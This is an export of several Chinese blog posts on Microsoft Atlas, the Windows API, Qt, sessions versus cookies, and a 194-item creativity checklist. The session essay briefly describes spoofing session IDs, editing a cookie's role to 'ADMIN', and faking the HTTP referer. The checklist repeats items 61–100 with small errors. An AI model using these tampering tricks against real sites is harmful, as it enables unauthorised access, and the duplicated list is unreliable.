序，而无须掌握这些技术的细节。\nAtlas客户端脚本框架可以在所有的现代浏览器上运行，而不需要Web服务器。它还完全不需要安装，只要在页面中引用正确的脚本文件即可。\nAtlas客户端脚本框架包含下列组件：\n一个可扩展的和新框架，其中为JavaScript添加了很多新特性，如生存期管理、集成、多播事件处理器和接口 一个基础类库，提供了通用特性，如丰富的字符串操作功能、计时器和运行任务等 一个UI框架，可以跨浏览器实现动态行为 一个网络栈，用于简化对服务器的连接和对Web Services的访问\nAtlas:ASP.NET服务器控件\n微软为ASP.NET应用程序专门设计了一组Ajax风格的服务器控件，并且加强了现有的ASP.NET页面框架和控件，以便支持Atlas客户端脚本框架。\nASP.NET 2.0中有一项称作异步客户端回调的新特性，使得构建无中断的页面变得很容易。异步客户端回调包装了XMLHTTP，能够在很多浏览器上工作。 ASP.NET本身包括了很多使用回调的控件，包括具有客户端分页和排序功能的GridView和DetalsView控件，以及TreeView空间的 虚拟列表支持。\nAtlas客户端脚本框架将完全支持ASP.NET 2.0回调，但微软希望进一步增强浏览器和服务器之间的集成性。例如，你可以将Atlas客户端控件的数据绑定指定为服务器上的ASP.NET数据源控件，并且可以从客户端异步地控制Web页面的个性化特征。\nAtlas:ASP.NET Web Services集成\n和任何客户端应用程序一样，一个Ajax风格的Web应用程序通常也需要访问Web服务器的一些功能。Atlas应用程序连接服务器的模型和其他平台类似，都是使用Web Services来实现。\n通过ASP.NET Web Services集成，Atlas应用程序将可以在任何支持XMLHTTP的浏览器上通过Atlas客户端将本框架来直接访问任何宿主于ASP.NET的 asmx或Indigo服务。该框架将会自动处理代理和脚本到对象、对象到脚本的序列化问题。通过使用Web Services集成，开发者可以使用单一的编程模型来编写Web Services，并且在任何应用程序中使用它们，不论是基于浏览器的站点上还是智能客户端应用程序中。\nAtlas:ASP.NET构建块服务\n在ASP.NET 2.0中，微软构建了一组丰富的构建块服务(Building Block Services)，这使得构建强大、个性化的Web应用程序变得不可思议的简单。这些构建块极大地降低了在开发通用的Web应用程序过程中需要编写的代 码数量，比如管理用户、通过角色验证用户和存储用户的个性化设置信息等。\n使用Atlas，我们可以在任何浏览器上的任何客户端应用程序中向访问Web Services那样访问这些功能。例如，如果你正在开发一个站点，来显示用户的TO-DO项目，你可以使用ASP.NET的Profile服务来将他们 存放在服务器上的用户自定义配置文件中。这样即使用户从一台机器上转移到另一台机器上，也同样可以访问这些项目。\n微软将提供的服务包括(全部是基于ASP.NET 2.0的)：\n\u0026#8211; Profile：在服务器上存放每个用户特有的数据\n\u0026#8211; UI个性化：在服务器上存放个性化的UI设置信息\n\u0026#8211; 验证：验证用户\n\u0026#8211; 角色：基于用户的角色验证用户任务和提供不同的UI\n由于这些构建块是服务器端的，开发者需要对他们应用和其他站点一样的安全模型。这些服务不需要客户端下在任何东西\u0026mdash;\u0026mdash;只要在浏览器中引用脚本代理即可。\n所有的ASP.NET 2.0构建块服务都是可插拔的，这使用一种通用的提供者模型可扩展模式在后台实现。微软提供的内建提供程序允许开发这使用SQL Server数据库或Active Directory作为存储容器，开发者也可以很容易地插接自己的提供程序。例如，你可能希望使用集群而不是数据库服务器来存放用户的配置文件，这时你只 需将你的提供程序插接近来即可。\nAtlas:客户端构建块服务\n除了DHTML、JScript和XMLHTTP，微软还提供了一组附加的服务来加强客户端的功能并提供增强的体验。\n对于这样的服务，本地浏览器缓存就是一个很好的例子。当启用了本地浏览器缓存时，Web站点就可以将内容存储到患从中，并在需要的时候很快地取出。但浏览器并未提供向缓存中存放数据的API，而且象Google Map或OWA这样的应用程序不得不通过很多工作产生一个唯一的URL才能使浏览器缓存它。在Atlas中，微软提供了可编程的本地存储/缓存，因此应用程序可以很方便、有效并且安全在本地缓存数据。\n同其他应用程序的集成是检验Web体验是否丰富的另一个新的标准。例如，当一个用户浏览一个拍卖网站并对一件商品出价时，他可能想随时知道这个拍卖什么时 候结束，但他如何才能将这个事件添加到他们个人的日历程序中?Atlas带来了一系列客户端构建块服务，当用于选择\u0026ldquo;添加到日历\u0026rdquo;时，浏览器将调用接驳点 来获取日历数据，并将其传递到本地的日历程序中。此时页面上无须下载或运行任何特殊的代码或执行任何初始化动作，因此，这比ActiveX要安全得多。\n","permalink":"https://hessian.cn/p/480.html","summary":"阿特拉斯，希腊神话中的巨神，以肩膀扛顶着天。后代，也引伸有能担负重责大任的人，有人也因之称他为宇宙神。 VeriSign通过它的一个崭新的技术平台\u0026#8212;高级交易查询信令系统(ATLAS)来提供服务,ATLAS是一个综合性的处理平台，其设计宗旨是扩展 其Internet的核心基础设施、域名系统(DNS)，支持迅速发展中的通过Internet提供的语音、数据和多媒体服务。通过Solaris 10 OS和Sun Fire x64服务器的采用，ATLAS每天管理着数以百亿计的处理业务，且提供高于99.999％的数据完整性和服务，阻止如\u0026ldquo;拒绝服务\u0026rdquo;等来自 Internet的恶意攻击。\n","title":"What is Atlas?"},{"content":"1.什么是Windows API? Windows 这个多作业系统除了协调应用程式的执行、分配内存、管理系统资源\u0026hellip;之外， 她同时也是一个很大的服务中心，调用这个服务中心的各种服务(每一种服务就是一个函数)，可以帮应用程式达到开启视窗、描绘图形、使用周边设备\u0026hellip;等目的， 由於这些函数服务的对象是应用程式(Application)， 所以便称之为 Application Programming Interface，简称 API 函数。WIN32 API也就是MicrosoftWindows 32位平台的应用程序编程接口。 凡是在 Windows 工作环境底下执行的应用程式， 都可以调用Windows API。 2.Windows API的历史与现状 当WINDOWS操作系统开始占据主导地位的时候，开发WINDOWS平台下的应用程序成为人们的需要。而在WINDOWS程序设计领域处于发展的初 期，WINDOWS程序员所能使用的编程工具唯有API函数，这些函数是WINDOWS提供给应用程序与操作系统的接口，他们犹如\u0026ldquo;积木块\u0026rdquo;一样，可以搭 建出各种界面丰富，功能灵活的应用程序。所以可以认为API函数是构筑整个WINDOWS框架的基石，在它的下面是WINDOWS的操作系统核心，而它的 上面则是所有的华丽的WINDOWS应用程序。 但是，没有合适的Windows编程平台，程序员想编写具有Windows风格的软件，必须借助API，API也因此被赋予至高无上的地位。那时的 WINDOWS程序开发还是比较复杂的工作，程序员必须熟记一大堆常用的API函数，而且还得对WINDOWS操作系统有深入的了解。然而随着软件技术的 不断发展，在WINDOWS平台上出现了很多优秀的可视化编程环境，程序员可以采用\u0026ldquo;即见即所得\u0026rdquo;的编程方式来开发具有精美用户界面和功能强大的应用程 序。 这些优秀可视化编程环境操作简单、界面友好（诸如VB、VC++、DELPHI等），在这些工具中提供了大量的类库和各种控件，它们替代了API的神 秘功能，事实上这些类库和控件都是构架在WIN32 API函数基础之上的，是封装了的API函数的集合。它们把常用的API函数的组合在一起成为一个控件或类库，并赋予其方便的使用方法，所以极大的加速了 WINDOWS应用程序开发的过程。有了这些控件和类库，程序员便可以把主要精力放在程序整体功能的设计上，而不必过于关注技术细节。 实际上如果我们要开发出更灵活、更实用、更具效率的应用程序，必然要涉及到直接使用API函数，虽然类库和控件使应用程序的开发简单的多，但它们只提 供WINDOWS的一般功能，对于比较复杂和特殊的功能来说，使用类库和控件是非常难以实现的，这时就需要采用API函数来实现。 这也是API函数使用的场合，所以我们对待API函数不必刻意去研究每一个函数的用法，那也是不现实的(能用得到的API函数有几千个呢)。正如某位 大虾所说：API不要去学，在需要的时候去查API帮助就足够了。但是，许多API函数令人难以理解，易于误用，还会导致出错，这一切都阻碍了它的推广。 本专题就是想帮助那些想快速掌握API函数用法的同志们。通过对API函数的分类，结合一些有趣的实例，应该可以达到快速掌握的目的。\n","permalink":"https://hessian.cn/p/521.html","summary":"1.什么是Windows API? Windows 这个多作业系统除了协调应用程式的执行、分配内存、管理系统资源\u0026hellip;之外， 她同时也是一个很大的服务中心，调用这个服务中心的各种服务(每一种服务就是一个函数)，可以帮应用程式达到开启视窗、描绘图形、使用周边设备\u0026hellip;等目的， 由於这些函数服务的对象是应用程式(Application)， 所以便称之为 Application Programming Interface，简称 API 函数。WIN32 API也就是MicrosoftWindows 32位平台的应用程序编程接口。 ","title":"[转]Windows API"},{"content":"Qt是一个多平台的C++图形用户界面应用程序框架。它提供给应用程序开发者建立 艺术级的图形用户界面所需的所用功能。Qt是完全面向对象的很容易扩展，并且 允许真正地组件编程。\n自从1996年早些时候，Qt进入商业领域，它已经成为全世界范围内数千种成功的应用 程序的基础。Qt也是流行的Linux桌面环境KDE 的基础，KDE是所有主要的Linux发行版的一个标准组件。\nQt支持下述平台：\nMS/Windows \u0026#8211; 95、98、NT 4.0、ME、和2000 Unix/X11 \u0026#8211; Linux、Sun Solaris、HP-UX、Compaq Tru64 UNIX、IBM AIX、SGI IRIX和其它很多X11平台 Macintosh \u0026#8211; Mac OS X Embedded \u0026#8211; 有帧缓冲(framebuffer)支持的Linux平台。 Qt是Trolltech公司的一个产品。\nQt被按不同的版本发行：\nQt企业版和Qt专业版 提供给商业软件开发。它们提供传统商业软件发行版并且提供免费升级和技术支持服务。 如果要获得最新报价，请浏览Trolltech公司网站的价格和可行性页面，或者与sales@trolltech.com联系。 企业版比专业版多一些扩展模块。 Qt自由版是Qt仅仅为了开发自由和开放源码软件 提供的Unix/X11版本。在Q公共许可证和GNU通用公共许可证 下，它是免费的。最新的版本可以在这里下载。 Qt/嵌入式自由版是Qt为了开发自由软件提供的嵌入式版本。 在GNU通用公共许可证下，它是免费的。 ","permalink":"https://hessian.cn/p/552.html","summary":"Qt是一个多平台的C++图形用户界面应用程序框架。它提供给应用程序开发者建立 艺术级的图形用户界面所需的所用功能。Qt是完全面向对象的很容易扩展，并且 允许真正地组件编程。\n","title":"关于Qt"},{"content":"对SESSION的争论好象一直没有停止过，不过幺麽能理解SESSION的人应该占90以上。 但还是讲讲，别嫌老~ 有一些人赞成用SESSION，有一些人不赞成。但这个问题到底要怎么说。不妨听听我的看法 如果有错误请不要朝丢东西，金条和硬币除外。 有些人应该知道我是做江湖程序的，而江湖程序做看中的就是效率，但这里不谈设计，而 从一些比较实际的角度看SESSION。 首先要先说SESSION是干什么的，SESSION是可以存储针对与某一个用户的IE以及通过其当 前窗口打开的任何窗口具有针对性的用户信息存储机制。为什么要这样说。看下边 先研究SESSION是如何启动的，当打开IE以后浏览网站后会发出一个指令请求SESSIONID以 及对各个类型数据的下载许可，如图片，声音以及FLASH。 数据实际传输内容：IE到服务器 GET / HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Accept-Language0: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: www.jh521.com Connection: Keep-Alive 服务器会返回一个没有被使用的SESSIONID让IE使用，当时IE就对返回SESSIONID做存储 并同时返回相关页面的下载数据，如下:服务器到IE HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Sun, 30 Nov 2003 16:41:51 GMT Content-Length: 21174..Content-Type: text/html Set-Cookie: ASPSESSIONIDCACBBBRT=IBOMFONAOJFEEBHBPIENJFFC; path=/ Cache-control: private 然后就是页面HTML代码 此时这个IE程序(不是客户机)的SESSIONID就为IBOMFONAOJFEEBHBPIENJFFC 而当IE在访问任何这个站点的ASP程序的时候，就会把IBOMFONAOJFEEBHBPIENJFFC发送 给服务器，服务器就会知道IBOMFONAOJFEEBHBPIENJFFC是表示你 而在服务器上设置SESSION(\u0026quot;name\u0026quot;)=\u0026quot;name\u0026quot; 完全可以看成是 SESSION(\u0026quot;IBOMFONAOJFEEBHBPIENJFFC\u0026quot;)(\u0026quot;name\u0026quot;)=\u0026quot;name\u0026quot; 或者 SESSION(SESSIONID)(\u0026quot;name\u0026quot;)=\u0026quot;name\u0026quot; 这样，SESSION就区分开用户了。 而当服务器反馈这个ID的时候会看这个ID有没有被使用。如果有在换一个 反正不会让你重复，如果想模拟某人的SESSION的ID来进行欺骗是可以的。不过要获取到 对方IE传输信号，并且在保证当时这个SESSIONID没有被取消的情况下才可能实施。 不过要是我有那时间直接通过POST信号找他NAME和PASS了。我可不费这个劲 想必一些人明白了了SESSIONID到底是如何工作的 那么就在看看COOKIE,有人说SESSIONID就是COOKIE，按照技术上来讲他们不属于同类 但是属于一种工作模式，用户和服务器传输私有数据 当我设置COOKIE的时候，服务器会反馈给IE一个指令。IE通过这个网络指令生成COOKIE并 存放,在特定的时候会取得这个这个信息如在访问这个站点并且COOKID有效的时候。 那么为什么要用COOKIE而不用SESSION呢 看下区别 有效时间以及存储方式 传输内容 COOKIE 可设置并在本地保留 明码信息 SESSION 在IE不关闭并服务器不超时 只有SESSIONID 当如果想让用户下次登入网站不需要输入用户名或者密码的时候就只能用COOKIE, 因为他可以保留相当长的时间(在COOKIE记录被删除或者失效日期之前) 而SESSION就不可以，他不会保留太长时间，而且IE在关闭后就自动清除了SESSIONID记录 在下次登入的时候会请求新的SESSIONID 而服务器想通过用户个人变量校验用户的状态的时候，就不能用COOKIE 如果用设置用户权限是USER。而IE访问的时候就把USER的明码传输到服务器。 那么如果我通过一定手段，比如直接修改COOKIE记录，把USER修改成ADMIN呢~~ 就麻烦了。 但存储用户名和密码或者网站的配色方案这样的信息，用COOKIE是最好的 好，有点累了，在说说这个东西 Request.ServerVariables(\u0026quot;HTTP_REFERER\u0026quot;) 我想有一些人通过这个Request.ServerVariables(\u0026quot;HTTP_REFERER\u0026quot;) 来进行一些关键性限制,特别是对付远程提交以及非法侵入。 那么我就要提醒下服务器取得的HTTP_REFERER信息完全是IE传输给服务器的，可以模拟 而且难度不大，用不到半个小时就可以用VB做出一个针对HTTP_REFERER入侵程序。 （可惜我原先那他没干正经事情，做WEB游戏挂机程序来的)\n顺便把我找到的一个关于SESSION的资料也弄过来吧 COOKIE的我前面发过了\nsession 一个人在网站上一次活动的过程。\n当一个访问者来到你的网站的时候一个Session就开始了，当他离开的时候Session就结束了。本质是来说，cookie是和浏览器有关系，而 Session变量就可以存一些资源变量在服务器上面。PHP4用文件存储Session变量，但理论上可以用数据库或共享内存来做这件事。 所有的页面都用PHP4的Session必须用Session_start()功能函数来告诉PHP4引擎来取有关的Session到内存中 。函数Session_start()可以在cookie域里或请求的参数中取得Session_id为了响应http请求。如果不能找到 SessionID就新建一个Session。 什么是Session变量？ Session变量是个有规律的全局变量，当一个Session变量被注册，用PHP4可以在所有的页面上得到Session 的值。用Session_register(\u0026quot;variable_name\u0026quot;)可以注册一个Session变量。在所有并发的的用Session就使用 Session_start()函数，变量的值将作为一个Session变量注册为Session。 我们能作什么？ 通常有很多的方法来管理Session和Session变量，我将给你个例子。说你将建一个商业站点，象我这样的， 你可能想保持已经被承认的用户当前的名字，或有多少的新消息用户已经得到。为了不在从数据库里读取，你 有两个方法可以做： 1.1.你可以用三个cookie 。authenticated_user \u0026#8211; 当前的用户名称 。num_messages \u0026#8211; 他得到的信息的数量 。expire_time \u0026#8211; 何时重新读取信息数量 2.2.用sessions和新建三个session变量 第一个方法安全性不好，一些人可以得到cookie进入他人的领域。 用sessions用户仅得到一个cookie，安全的多。 缺点 session给了你自由，过度的用session会影响脚本语言的使用。虽然PHP4的session有些限制，如你不能存对象在session里。\nlong getCreationTime() \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 取得session产生的时间，单位是毫秒\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; String getId() \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 取得session 的ID\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; long getLastAccessedTime() \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 取得用户最后通过这个session送出请求的时间\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; long getMaxInactiveInterval() \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; 取得最大session不活动的时间，若超过这时间，session 将会失效\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; void invalidate() \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; 取消session 对象，并将对象存放的内容完全抛弃\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; boolean isNew() \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 判断session 是否为\u0026quot;新\u0026quot;的\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; void setMaxInactiveInterval(int interval) \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; 设定最大session不活动的时间，若超过这时间，session 将会失效\n","permalink":"https://hessian.cn/p/547.html","summary":"对SESSION的争论好象一直没有停止过，不过幺麽能理解SESSION的人应该占90以上。 但还是讲讲，别嫌老~ 有一些人赞成用SESSION，有一些人不赞成。但这个问题到底要怎么说。不妨听听我的看法 ","title":"[转]session和cookie的最深刻理解"},{"content":" 1、把它颠倒过来\n2、把它摆平\n3、把缩小\n4、把颜色变换一下\n5、把它变为圆形\n6、使它更大\n7、把它变为正方形\n8、使它更小\n9、使它更长\n10、使它闪动\n11、使它更短\n12、使它发出火花\n13、使它可以看到\n14、点燃它\n15、使它逾起一般情况\n16、使它发萤光\n17、把它放进文字里\n18、使它沉重\n19、把它插进音乐里\n20、使它成为引火物\n21、结合文字和音乐\n22、使它成为引火物\n23、结合文字、音乐和图画\n24、参加竞赛\n25、结合音乐和图画删除文字\n26、参加打赌\n27、不要图画\n28、使它成为年轻型的\n29、不要文字\n30、使它成为壮年型的\n31、沉默无声\n32、把它分割开\n33、使它重复\n34、保守地说\n35、使它变成立体\n36、夸张地说\n37、使它变成平面\n38、当替代品卖\n39、变换它的形态\n40、发现新用途\n41、只变更一部分\n42、减掉它\n43、使它成为一组\n44、撕开它\n45、为捐献或义卖而销售\n46、使它化合\n47、鼓励它\n48、用显而易见的\n49、机动化\n50、把要素重新配置\n51、电气代\n52、降低调子\n53、使它活动\n54、提高调子\n55、使它相反\n56、割开它\n57、它像是某种东西的代替品\n58、混合在一起\n59、使它罗曼蒂克\n60、改用另一种形式表现\n61、增添怀旧的诉求\n62、使它的速度加快\n63、使它看起来流行\n64、使它缓慢下来\n65、使它看起来像未来派\n66、使它飞行\n67、使它成为某种物品的部分代替\n68、使它浮起\n69、使它更强壮\n70、使它滚转\n71、使它更耐久\n72、把它切成片状\n73、运用象征\n74、使它成为粉状\n75、它是写实派\n76、以性欲作诉求\n77、运用新艺术形式\n78、使它凝缩\n79、变为摄影技巧\n80、使它弯曲\n81、变换为图解方式\n82、使它成对\n83、使它变更形式\n84、使它倾斜\n85、用图画说明你的故事\n86、使它悬浮半空中\n87、使用新广告媒体\n88、使它垂直站立\n89、创造新广告媒体\n90、把它由里向外翻转\n91、使它更强烈\n92、把它向旁边转\n93、使它更冷\n94、摇动它\n95、增加香味\n96、把它遮蔽起来\n97、变换气味\n98、使它不对称\n99、把它除臭\n100、使它不对称\n61、增添怀旧的诉求\n62、使它的速度加快\n63、使它看起来流行\n64、使它缓慢下来\n65、使它看起来像未来派\n66、使它飞行\n67、使它成为某种物品的部分代替\n68、使它浮起\n69、使它更强壮\n70、使它滚转\n71、使它更强壮\n72、把它切成片状\n73、运用象征\n74、使它成为粉状\n75、它是写实派\n76、以性欲作诉求\n77、运用新艺术形式\n78、使它凝缩\n79、变为摄影技巧\n80、使它弯曲\n81、变换为图解方式\n82、使它成对\n83、使它变更形式\n84、使它倾斜\n85、用图画说明你的故事\n86、使它悬浮半空中\n87、使用新广告媒体\n90、把它由里外翻转\n91、使它更强烈\n92、把它向旁边转\n93、使它更冷\n94、摇动它\n95、增加香味\n96、把它遮蔽起来\n97、变换气味\n98、使它对称\n99、把它除臭\n100、使它不对称\n101、将它向儿童诉求\n102、反它隔开\n103、将它向男士诉求\n104、使它与其他相敌对\n105、将它向妇女诉求\n106、使它锐利\n107、价钱更低\n108、变更它的外形\n109、抬高价格\n110、要它绕一周\n111、变更成份\n112、把它框起来\n113、增加新成份\n114、把它卷成一圈\n115、拧搓它\n116、把它填满\n117、使它透明\n118、把它弄成空的\n119、使它不透明\n120、把它打开\n121、用不同背景\n122、把拼错\n123、用不同环境\n124、给它起我上绰号\n125、使它富有魅力\n126、把它封印起来\n127、使用视觉效果\n128、把它移转过来\n129、使用另外的物料\n130、把它捆包起来\n131、增加人的趣味\n132、把它集中起来\n133、变更密度\n134、把它推开\n135、置于不同的货柜\n136、使它成为交替的\n137、变换包装\n138、使它凝固起来\n139、使密度增加\n140、使它溶化\n141、小型化\n142、使成凝胶状\n143、增加至最大限\n144、使它软化\n145、把它除掉\n146、使它硬化\n147、使它轻便\n148、使蒸发变为汽化\n149、使它可以折叠\n150、加上抑扬顿挫\n151、趋向偏激\n152、使它更狭窄\n153、如夏天炎热\n154、使它更宽广\n155、如冬天寒冷\n156、使它更滑稽\n157、使拟人化\n158、使它成为被讽刺的\n159、使它更暗\n160、用简短的文案\n161、使它发光\n162、用冗长的文案\n163、使它灼\n164、发现第二种用途\n165、使它更有营养\n166、使它合成在一起\n167、把它倒进瓶中\n168、把它当作用具来卖\n169、把它倒进罐中\n170、使它清净\n171、把它放进盒中\n172、把它倒进壶中\n173、把它倒进缸中\n174、把它弄直\n175、把它褶曲\n176、把它缠起来\n177、提升声誉\n178、免费提供\n179、以成本价出售\n180、提供特价\n181、增加慰藉的诉求\n182、提供维护服务\n183、运用不同的织法\n184、使它变成香郁宜人\n185、使它变成酸的\n186、使它濡湿\n187、使它脱水\n188、使它干燥\n189、把它冻起来\n190、把它抛出去\n191、使它无刺激性的\n192、使它单纯化\n193、使它具有刺激性的\n194、把以上各项任意组合\n","permalink":"https://hessian.cn/p/628.html","summary":" 1、把它颠倒过来\n2、把它摆平\n3、把缩小\n4、把颜色变换一下\n5、把它变为圆形\n6、使它更大\n7、把它变为正方形\n8、使它更小\n9、使它更长\n10、使它闪动\n11、使它更短\n12、使它发出火花\n13、使它可以看到\n14、点燃它\n15、使它逾起一般情况\n16、使它发萤光\n17、把它放进文字里\n18、使它沉重\n19、把它插进音乐里\n20、使它成为引火物\n21、结合文字和音乐\n22、使它成为引火物\n23、结合文字、音乐和图画\n24、参加竞赛\n25、结合音乐和图画删除文字\n26、参加打赌\n27、不要图画\n28、使它成为年轻型的\n29、不要文字\n30、使它成为壮年型的\n31、沉默无声\n32、把它分割开\n33、使它重复\n34、保守地说\n35、使它变成立体\n36、夸张地说\n37、使它变成平面\n38、当替代品卖\n39、变换它的形态\n40、发现新用途\n41、只变更一部分\n42、减掉它\n43、使它成为一组\n44、撕开它\n45、为捐献或义卖而销售\n46、使它化合\n47、鼓励它\n48、用显而易见的\n49、机动化\n50、把要素重新配置\n51、电气代\n52、降低调子\n53、使它活动\n54、提高调子\n55、使它相反\n56、割开它\n57、它像是某种东西的代替品\n58、混合在一起\n59、使它罗曼蒂克\n60、改用另一种形式表现\n61、增添怀旧的诉求\n62、使它的速度加快\n63、使它看起来流行\n64、使它缓慢下来\n65、使它看起来像未来派\n66、使它飞行\n67、使它成为某种物品的部分代替\n68、使它浮起\n69、使它更强壮\n70、使它滚转\n71、使它更耐久\n72、把它切成片状\n73、运用象征\n74、使它成为粉状\n75、它是写实派\n76、以性欲作诉求\n77、运用新艺术形式\n78、使它凝缩\n79、变为摄影技巧\n80、使它弯曲\n81、变换为图解方式\n82、使它成对\n83、使它变更形式\n84、使它倾斜\n85、用图画说明你的故事\n86、使它悬浮半空中\n87、使用新广告媒体\n88、使它垂直站立\n89、创造新广告媒体\n90、把它由里向外翻转\n91、使它更强烈\n92、把它向旁边转\n93、使它更冷\n94、摇动它\n95、增加香味\n96、把它遮蔽起来\n97、变换气味\n98、使它不对称\n99、把它除臭\n100、使它不对称\n61、增添怀旧的诉求\n62、使它的速度加快\n63、使它看起来流行\n64、使它缓慢下来\n65、使它看起来像未来派\n66、使它飞行\n67、使它成为某种物品的部分代替\n68、使它浮起\n69、使它更强壮\n70、使它滚转\n71、使它更强壮\n72、把它切成片状\n73、运用象征\n74、使它成为粉状\n75、它是写实派\n76、以性欲作诉求\n77、运用新艺术形式\n78、使它凝缩\n79、变为摄影技巧\n80、使它弯曲\n81、变换为图解方式\n82、使它成对\n83、使它变更形式\n84、使它倾斜\n85、用图画说明你的故事\n86、使它悬浮半空中\n87、使用新广告媒体\n90、把它由里外翻转\n91、使它更强烈\n92、把它向旁边转\n93、使它更冷\n94、摇动它\n95、增加香味\n96、把它遮蔽起来\n97、变换气味\n98、使它对称\n99、把它除臭\n100、使它不对称\n101、将它向儿童诉求\n102、反它隔开\n103、将它向男士诉求\n104、使它与其他相敌对\n105、将它向妇女诉求\n106、使它锐利\n107、价钱更低\n108、变更它的外形\n109、抬高价格\n110、要它绕一周\n111、变更成份\n112、把它框起来\n113、增加新成份\n114、把它卷成一圈\n115、拧搓它\n116、把它填满\n117、使它透明\n118、把它弄成空的\n119、使它不透明\n120、把它打开\n121、用不同背景\n122、把拼错\n123、用不同环境\n124、给它起我上绰号\n125、使它富有魅力\n126、把它封印起来\n127、使用视觉效果\n128、把它移转过来\n129、使用另外的物料\n130、把它捆包起来\n131、增加人的趣味\n132、把它集中起来\n133、变更密度\n134、把它推开\n135、置于不同的货柜\n136、使它成为交替的\n137、变换包装\n138、使它凝固起来\n139、使密度增加\n140、使它溶化\n141、小型化\n142、使成凝胶状\n143、增加至最大限\n144、使它软化\n145、把它除掉\n146、使它硬化\n147、使它轻便\n148、使蒸发变为汽化\n149、使它可以折叠\n150、加上抑扬顿挫\n151、趋向偏激\n152、使它更狭窄\n153、如夏天炎热\n154、使它更宽广\n155、如冬天寒冷\n156、使它更滑稽\n157、使拟人化\n158、使它成为被讽刺的\n159、使它更暗\n160、用简短的文案\n161、使它发光\n162、用冗长的文案\n163、使它灼\n164、发现第二种用途\n165、使它更有营养\n166、使它合成在一起\n167、把它倒进瓶中\n168、把它当作用具来卖\n169、把它倒进罐中\n170、使它清净\n171、把它放进盒中\n172、把它倒进壶中\n173、把它倒进缸中\n174、把它弄直\n175、把它褶曲\n176、把它缠起来\n177、提升声誉\n178、免费提供\n179、以成本价出售\n180、提供特价\n181、增加慰藉的诉求\n182、提供维护服务\n183、运用不同的织法\n184、使它变成香郁宜人\n185、使它变成酸的\n186、使它濡湿\n187、使它脱水\n188、使它干燥\n189、把它冻起来\n190、把它抛出去\n191、使它无刺激性的\n192、使它单纯化\n193、使它具有刺激性的\n194、把以上各项任意组合\n","title":"兹罗列194种创意线索"},{"content":"Cookies，有些人喜欢它们，有些人憎恨它们。但是，很少有人真正知道如何使用它们。现在你可以成为少数人中的成员－可以自傲的Cookie 大师。\u0026#8211;\u0026gt;\n如果你象作者一样记性不好，那么你可能根本记不住人们的名字。我遇到人时，多半只是点点头，问句\u0026ldquo;吃了嘛！\u0026rdquo;，而且期望问候到此为止。如果还需要表示些什 么，那么我就得求助于一些狡猾的技巧，好让我能想对方是谁。比如胡扯起一些和对方有关的人，不管他们之间关系多远，只要能避免不记得对方名字的尴尬就好： \u0026ldquo;你隔壁邻居的侄子的可爱小狗迈菲斯特怎么样？\u0026rdquo;通过这个方法，我希望能让对方感到，我确实很重视他（她），甚至还记得这些琐事，虽然实际上连名字都忘记 了。但是，不是我不重视，而是我的记忆力实在是糟糕，而且要记住的名字又实在太多。如果我能给每个人设置cookies，那么我就不会再犯这种记忆力问题 了。\n在这篇文章里，我们要学习：\n1. 什么是 Cookies?\n2. Cookie 的构成\n3. 操纵 Cookies\n4. Cookie 怪兽\n什么是Cookies?\n你会问，什么是cookies呢? cookie 是浏览器保存在用户计算机上的少量数据。它与特定的WEB页或WEB站点关联起来，自动地在WEB浏览器和WEB服务器之间传递。\n比如，如果你运行的是Windows操作系统，使用Internet Explorer上网，那么你会发现在你的\u0026ldquo;Windows\u0026rdquo;目录下面有一个子目录，叫做\u0026ldquo;Temporary Internet Files\u0026rdquo;。如果你有空看看这个目录，就会发现里面有一些文件，文件名称看起来就象电子邮件地址。比如在我机器上的这个目录里，就有 \u0026ldquo;jim@support.microsoft.com\u0026rdquo;这样的文件。这是一个cookie 文件，这个文件从哪来呢？猜一猜，它来自微软的支持站点。顺便说一句，这不是我的电子邮件地址，特此澄清。\n对于管理细小的、不重要的、不想保存在中央数据库里的细节信息，Cookies 